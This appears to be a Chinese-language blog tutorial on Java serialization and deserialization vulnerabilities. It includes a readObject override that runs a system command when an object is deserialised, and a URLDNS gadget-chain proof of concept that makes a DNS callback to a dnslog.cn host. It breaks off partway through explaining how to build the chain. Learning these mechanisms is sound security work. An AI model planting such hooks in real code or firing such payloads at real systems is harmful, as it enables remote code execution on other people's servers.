java安全基础知识

##java序列化和反序列化
其实和php的类似,生成序列化内容,然后反序列化序列数据。其中有一部分点事需要注意的

Java 序列化是指把 Java 对象转换为字节序列的过程
ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程
ObjectInputStream 类的 readObject() 方法用于反序列化。

  • 是否具有serialize结构(Implements Serializable)
  • transient表示的对象成员变量不参与序列化
  • 如果该类的某个属性标识为static类型的,则该属性不能序列化。
  • 如果对私有方法进行反序列化更改值的时候需要使用反射

接下来看看demo
这里写了一个java类

import java.io.Serializable;
public class person implements Serializable{
private String name;

public person(String name){#person类的构造方法
this.name = name;
}
public String toString(){ #这里重写了toString方法
return "person{"+
"{name:"+name+"}";
}
public void setname(String name){ #这是他的静态方法
this.name=name;
}
public String getName(){ #有返回值的方法
return name;
}
}

在这里对其进行序列化,主要使用ObjectOutputStream导入序列化流

import java.io.*;
public class Main {
public static void serialize(final Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception{
person p=new person("test");
serialize(p);
}
}

在这里对其进行反序列化而最后的println会调用toString方法

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserializetest {
public static Object unsetialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
person pe = (person) unsetialize("ser.bin");
System.out.println(pe);
}
}


##java反序列化安全问题
java反序列化和php反序列化类似,都是去寻找可以利用的类和方法,java反序列化时即会调用readObject
###利用条件

  • 反序列化点输入可控
  • 使用readObject函数执行反序列化
  • 当前class空间中存在一个可复写readObject的类
  • 可利用当前环境下的readObject进一步构筑利用链
    ###利用形式
  • readObject中有可控危险方法
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用
  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
    ###重写readObject方法

这里就还是举一个demo:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}

重新序列化以及反序列化即可弹出计算器

####为什么readObject函数需要private属性,传参java.io.ObjectInputStream?

这个文章里面写了对比
readObject重写解释
总结来说就是:

  • 我们其实不是重写了readObject,而是利用传入的参数不同,使得其能被重新赋值,执行被复写的参数,这就回答了标题的问题了
  • 而这个条件首先需要方法名为readObject
  • 返回类型为void
  • 传入参数为ObjectInputStream.class类型参数
  • 修饰符不能包含static
  • 修饰符必须包含private
    ###利用可控类执行命令
    ####URLDNS链
    构造链:
    HashMap.readObject->HashMap.hash->URl.hashcode->URL.getHostAddress
    这里简要分析一下poc:
  • java在反序列化时会自动调用readObject,如果此类重写了readObject则会调用该类重写以后的
  • 在HashMap中重写了readObject,并且调用了hash(key)
  • 跟进hash(key),发现其调用了hashCode方法
  • 而这里我们可以跟URL的hashCode方法,在这里就触发getHostAddress,访问dnslog链接
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://25x9gm.dnslog.cn/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");

hashcodefield.setAccessible(true);

hashcodefield.set(url,1234);
hashmap.put(url,1);
hashcodefield.set(url,-1);

serialize(hashmap);

}

接下来谈谈如何书写这个反序列化链条
1.确定我们要反序列化的对象,也就是要实例化的类,很明确这里就是HashMap,接下来需要研究一下,如何传入数据,可以看到readObject中,最后使用的是put

Author

vague huang

Posted on

2022-12-15

Updated on

2023-02-10

Licensed under

Comments